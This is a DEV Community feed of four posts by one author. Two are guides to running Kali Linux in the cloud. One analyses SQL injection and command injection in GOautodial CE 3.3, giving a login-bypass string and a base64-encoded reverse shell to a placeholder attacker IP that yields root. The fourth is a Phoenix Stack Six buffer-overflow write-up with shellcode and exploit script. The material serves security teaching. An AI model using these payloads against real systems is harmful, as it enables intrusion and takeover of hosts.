DEV Community: zuoshihua

Deploy Kali Linux with GUI on the cloud

zuoshihua — Thu, 24 Jun 2021 16:37:52 +0000

Background

I recently helped organise a cyber security workshop for youngsters between 13 and 16. Some participants could not run virtual machines for various reasons.

Since the workshop required participants to have access to Kali Linux, I deployed Kali Linux with a Graphical User Interface (GUI) on Google Cloud Platform (GCP) for the participants. In this post, I'm going to show you how I did it.

P.S. Although I used GCP, these steps are applicable to other platforms e.g. DigitalOcean.

Hardware specs

Since Kali Linux will be running with a GUI, I recommend allocating slightly more hardware resources.

Hardware	Specifications
Processor	2 cores
Memory	4 GB
Storage	40 GB

I recommend selecting Debian 10 as the operating system, since Kali Linux is built on top of Debian. Once it's running, connect via SSH.

Add the Kali Linux repository

First, update and upgrade.

$ sudo apt update && apt upgrade

Add the "kali-rolling" repository to your sources.

$ echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

Download the repository's key for the system to verify Kali Linux packages and add it with apt-key.

$ curl https://archive.kali.org/archive-key.asc | sudo apt-key add

Update again. The new "kali-rolling" repository should be recognised.

$ sudo apt update

Install all the things

The "kali-linux-default" package contains all the tools in a standard Kali Linux distribution.

$ sudo apt install kali-linux-default

Once done, you need to install a desktop environment. The preferred desktop environment for Kali Linux is Xfce.

$ sudo apt install kali-desktop-xfce

Finally, you need to install Xrdp. This will allow you to access and interact with the GUI via Remote Desktop Protocol (RDP).

$ sudo apt install xrdp

⚠️ Note
Make sure you have set a password for your user account.
$ sudo passwd myuser # replace myuser with your account name

Enjoy!

If you're on Windows, use Remote Desktop Connection. If you're on Mac, download Microsoft Remote Desktop (available on the App Store).

Troubleshooting

It is normal to see a black screen initially. Wait for a few moments and the desktop should appear. If it is taking particularly long, consider changing the hosting region nearer to you.

If you encounter a "login failed for display 0", make sure you have set a password for your user account.

References

GOautofail

zuoshihua — Tue, 08 Jun 2021 08:49:08 +0000

Background

I decided to do a little vulnerability analysis. The target? GOautodial Community Edition version 3.3. According to goautodial.org

GOautodial is the next generation open source omni-channel contact center suite. Built from the ground up using established open source technologies.

If you immediately clicked away to google it, you'd come across two posts on exploit-db.com one of them being a Metasploit module. Of course, one could just run the module without a second thought but that wouldn't be very interesting would it?

Furthermore, GOautodial is open source. This means we can study the source code to better understand the vulnerabilities.

Setup

I needed a GOautodial instance to test with. Fortunately, there are prebuilt ISO images for download. I used this image.

I installed GOautodial on a VM with 1 processor core, 1 GB memory and 20 GB disk space.

⚠️ Note: Make sure to set the hard disk bus type to IDE instead of SCSI or SATA. Otherwise, it will not install.

I recommend watching this video at least for the network configuration portion.

Once configured, the web interface will be available at https://[machine-ip]/. It uses TLS 1.0, so Google Chrome did not allow me to proceed. However, Firefox did allow with a warning that TLS 1.0 will be deprecated in the future.

The web root directory is /var/www/html.

SQL Injection

The first vulnerability is authentication bypass via SQL Injection. The PHP file handling the login process is application/controllers/go_login.php. More specifically, the function validate_credentials. This line is interesting.

$this->load->model('go_auth');
$query = $this->go_auth->validate();

When we look under application/models, there indeed is a go_auth.php. Let's inspect its validate function. I have pretty printed it.

$this->adb = $this->load->database('dialerdb', true);

$this->adb->where('user', $uname);
#$this->adb->where('pass', $upass);
$this->adb->where("pass like binary '%$upass%'");
$this->adb->where('user_level > 7');
$this->adb->where('active',"Y");
$query = $this->adb->get('vicidial_users');

if($query->num_rows == 1){
    return true;
}

None of the login inputs are sanitised. I would imagine the SQL query would look like this with the credentials admin:pass.

SELECT * from vicidial_users
WHERE (user = admin
    AND pass LIKE BINARY '%pass%'
    AND user_level > 7
    AND active = Y
);

If we input 'OR '1'='1, the query becomes

SELECT * from vicidial_users
WHERE (user = admin
    AND pass LIKE BINARY '%'OR '1'='1%'
    AND user_level > 7
    AND active = Y
);

The condition will always evaluate as true, effectively logging in as admin.

Command Injection

This second vulnerability is total system compromise via arbitrary command injection. In order to successfully exploit this, we must be logged in. The affected code is in application/controllers/go_site.php. More specifically, the function cpanel. This line is interesting.

exec("/usr/share/goautodial/goautodialc.pl '/sbin/service $type ".strtolower($action)."'");

The two inputs "type" and "action" are not sanitised, allowing an attacker to run virtually any system command.

The vulnerable URL is

https://[victim-ip]/index.php/go_site/cpanel/[type]/[action]

If we set "type" to be

; curl http://at.tac.ker.ip

And setup a HTTP server to listen on port 80, we should see a request logged on our console. However, to save us the trouble of escaping characters, we can Base64 encode our intended command.

~ % echo "curl http://at.tac.ker.ip" | base64
Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=

Then we modify our payload to decode the Base64 string and run it.

; echo "Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=" | base64 --decode | bash

Of course, replace att.ack.er.ip with your IP. The URL becomes

https://[victim-ip]/index.php/go_site/cpanel/; echo "Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=" | base64 --decode | bash

The full Python provides a HTTP server module. Run it then perform a GET request with the above URL.

~ % python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:XXX.XXX.XXX.XXX - - [07/Jun/2021 23:16:16] "GET / HTTP/1.1" 200 -

Confirming we can execute system commands, it's time for a reverse shell.

~ % echo "bash -i >& /dev/tcp/att.ack.er.ip/80 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHQuYWNrLmVyLmlwLzgwIDA+JjEK

Kill the Python HTTP server and run a netcat listener. Modify the request and we have a root shell.

~ % sudo nc -nvl 80
bash: no job control in this shell
[root@go ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@go ~]#

Fin

I hope you learned something or at least it has been an interesting read. You can check out how these two vulnerabilities were patched in the GitHub repo.

goautodial / ce-v3-www

GOautodial CE version 3.X

View on GitHub

Phoenix Stack Six

zuoshihua — Tue, 08 Jun 2021 04:07:10 +0000

Background

I solved a stack smashing challenge found in Exploit Education's Phoenix, namely Stack Six. I found it to be an interesting example of how just overwriting one byte can lead to RCE. We are given the following source code.

/*
 * phoenix/stack-six, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * Why do fungi have to pay double bus fares? Because they take up too
 * mushroom.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // This style of comparison prevents issues where you may accidentally
    // type if(ptr = NULL) {}..

    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}

The bug

We pass input by setting the ExploitEducation environment variable. Then our input is seemingly bounds checked. If our input is longer than 127 bytes, only the first 127 bytes are copied into buffer.

However, notice the program does not account for the length of what. It blindly copies the contents of what into buffer before copying our input. This means we still can overflow the buffer! Let's try inputting 128 As.

user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 128"`
user@phoenix-amd64:~$

Debug the program in GDB. I decide to set two breakpoints: at the prologue and epilogue of main. I also set another breakpoint after the the call to strncpy in greet.

gef➤  break *main
Breakpoint 1 at 0x40079b
gef➤  break *main + 91
Breakpoint 2 at 0x4007f7
gef➤  break *greet + 133
Breakpoint 3 at 0x400782
gef➤  run

Right away we pause at the start of main. Let's find where our 128 As are. We know that our input is in an environment variable. GEF shows which registers are pointing to strings.

$rbx   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"
$rdx   : 0x00007fffffffe5f8  →  0x00007fffffffe817  →  "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$rsi   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"

Immediately we see a familiar environment variable LS_COLORS. Let's dump some more strings from 0x00007fffffffe7fa onwards.

gef➤  x/40s 0x00007fffffffe7fa
0x7fffffffe7fa: "/opt/phoenix/amd64/stack-six"
💇
0x7fffffffeeb3: "COLUMNS=99"
0x7fffffffeebe: "MAIL=/var/mail/user"
0x7fffffffeed2: "SHELL=/bin/bash"
0x7fffffffeee2: "TERM=xterm-256color"
0x7fffffffeef6: "SHLVL=1"
0x7fffffffeefe: "ExploitEducation=", 'A' <repeats 128 times>
💇

We've found our input. Note that our As start after the string "ExploitEducation=", which measures 17 bytes. GEF allows us to do some quick calculation.

gef➤  $ 0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b'\x7f\xff\xff\xff\xef\x0f'
b'\x0f\xef\xff\xff\xff\x7f'

If we now dump 128 characters from 0x7fffffffef0f we should see our As.

gef➤  x/128c 0x7fffffffef0f
0x7fffffffef0f: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffef17: 0x41    0x41    0x41    0x41    0x41 💇

Perfect. We continue execution till we hit the breakpoint in greet. Let's examine the stack.

gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef0f
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0

We can see our As fill up the buffer nicely. Did we overwrite any pointers? Let's check the registers.

$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe541  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]

Woah! The rbp register is pointing to our As? And the least significant byte has a value of 0x41. Hmm... Let's rerun the program inputting just 126 As and one B. Debug the program setting the same breakpoints.

user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 126 + 'B'"`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six

Back to where we were just now, let's examine the stack.

gef➤  x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe542  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0

We examine the registers and indeed, we can overwrite one byte of rbp.

$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]

How does this help us? If we look at the subsequent instructions, we see that a value is popped off the stack into rbp.

→    0x400782 <greet+133>      lea    rax, [rbp-0xa0]
     0x400789 <greet+140>      mov    rdi, rax
     0x40078c <greet+143>      call   0x400560 <strdup@plt>
     0x400791 <greet+148>      add    rsp, 0xa8
     0x400798 <greet+155>      pop    rbx
     0x400799 <greet+156>      pop    rbp

We break at that instruction and realise that value has our B in it!

gef➤  break *greet + 156
Breakpoint 4 at 0x400799
gef➤  continue
💇
$rsp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)

Step over and we see rbp is indeed set to our corrupt value.

gef➤  ni
💇
$rbp   : 0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)

We continue to our last breakpoint, a leave instruction in main. A leave achieves the same thing as

mov rsp, rbp
pop rbp

First, rsp will be set to the value of rbp. This is their current state.

$rsp   : 0x00007fffffffe570  →  0x00007fffffffe5e8  →  0x00007fffffffe7fb  →  "/opt/phoenix/amd64/stack-six"
$rbp   : 0x00007fffffffe542  →  0x993400007ffff7ff

Step over and we see rsp set to 0x00007fffffffe542 plus 8 (remember popping a value off the stack adds 8 to rsp).

$rsp   : 0x00007fffffffe54a  →  0x414100007ffff7db
$rbp   : 0x993400007ffff7ff

What's the next instruction? That's right, a ret which is basically pop rip. Since rsp is pointing to some garbage value, we will segfault.

Plan of attack

Just by overwriting one byte, we redirected code execution. How can we use this to our advantage and pop a shell? First, we need to realise that by controlling the least significant byte, we only can overwrite rbp to point from 0x00007fffffffe500 to ff. We could point back into buffer but by the time we jump back, that stack frame would already be cleared.

But how about our environment variable? Its contents remain on the stack as long as we are still in the shell. Recall that greet takes one argument, a character pointer to our environment variable. We know that arguments passed to a function are stored after its return address.

With our input of 128 As, the address we calculated was 0x7fffffffef0f. When we hit the breakpoint in greet and dump out the stack, we can clearly see that address stored on the stack at 0x7fffffffe588.

gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0

We have established that at before returning from main, rsp will be whatever rbp was plus 8. So subtracting 8 from 0x7fffffffe588 we will get 0x7fffffffe580. With our overflow, can we set rbp to be 0x7fffffffe580? Definitely, as it is within our range (0x7fffffffe500 to ff).

Exploitation

import struct

# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
shellcode += "\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
shellcode += "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27 bytes

fake_rbp = "\x80"

payload = "\x90" * 50
payload += shellcode
payload += "A" * (127 - len(payload) - 1)
payload += fake_rbp

print payload

When we debug the program with our payload we get a shell!

However, trying outside GDB we segfault 😢 Turns out GDB adds some environment variables and that affects the stack. To get a more accurate view of the stack, we run the following commands before running the program.

gef➤  unset env LINES
gef➤  unset env COLUMNS
gef➤  set env _ /opt/phoenix/amd64/stack-six

Hit the breakpoint in greet and dump out the stack. Notice the addresses have changed.

gef➤  x/32gx $rsp
0x7fffffffe4d0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4e0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4f0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe500: 0x9090909090902075  0x9090909090909090
0x7fffffffe510: 0x9090909090909090  0x9090909090909090
0x7fffffffe520: 0x9090909090909090  0x9090909090909090
0x7fffffffe530: 0xbb48c03190909090  0xff978cd091969dd1
0x7fffffffe540: 0x52995f5453dbf748  0x41050f3bb05e5457
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x4141414141414141  0x4141414141414141
0x7fffffffe570: 0x4141414141414141  0x4141414141414141
0x7fffffffe580: 0x00007fffffffe580  0x00000000004007e9
0x7fffffffe590: 0x00007fffffffe608  0x00000001ffffe618
0x7fffffffe5a0: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe5b0: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5c0: 0x0000000000000000  0x00007fffffffe600

Update the least significant byte from 80 to a0 and we should be golden.

Spin up a free Kali Linux instance with just your phone!

zuoshihua — Wed, 06 Jan 2021 05:05:29 +0000

Getting a Kali Linux instance up and running has become so convenient, one doesn’t need a computer!

Introduction

Unrestricted File upload challenges in CTFs are very common these days. A file containing executable code is uploaded to achieve remote code execution (RCE). If a reverse shell is uploaded, how does one handle the callback?

If your attacking machine is in the same network as the challenge server, it would be very straightforward: configure the reverse shell to callback the attack box's IP. But what if you're accessing the challenge server via the internet? Configuring your reverse shell to callback your private IP won't work.

The easiest solution is to deploy a virtual machine in the cloud, since it has a public IP. But what if we could take it a step further?

Mobile hacking

I don't mean hacking mobile devices, but hacking with a mobile device. How is that even possible? By exploiting cloud providers and some SSH.

1. Choose a cloud provider

I recommend Microsoft Azure. It provides a ready to deploy Kali Linux instance and free $100 credit if you are eligible for Azure for Students. I'll be using that $100.

2. Configure a new virtual machine

Select “Virtual machines”. Create a new virtual machine and call it whatever you want. I’ll put “kali”. For the image, select “Browse all public and private images” and search for “Kali Linux”.

Decide on the size of this machine. Size simply means performance specs. Larger sizes (better specs) cost more. I chose “Standard_B1ls” which is the cheapest. You can change to a larger size if you feel it’s too slow.

Now configure the Administrator account. I’ll choose password based authentication for the sake of this demonstration.

Tap next till you reach “Review + Create”. The virtual machine will be created once validation has passed. A short while later, you should receive this notification. Tap “Go to resource”.

3. Get connected

Note down the public IP address. Let’s connect to it via SSH. I’m using an Android device so I’ll use JuiceSSH app. For Apple devices there’s Termius.

Select “Quick Connect” and enter your username and your public IP in the following format: username@your.public.ip.address. Then enter your password when prompted.

Enjoy your new instance :)

Conclusion

In retrospect, there are many benefits to launching a virtual machine in the cloud other than a public IP. Running virtual machines is a very resource intensive task. Enough RAM is crucial and so is a fast CPU. Not to mention, storage becomes an issue as virtual machines grow in size. Good hardware costs money. On top of that, there are configuration issues, stability issues… I could go on. But that's for another post.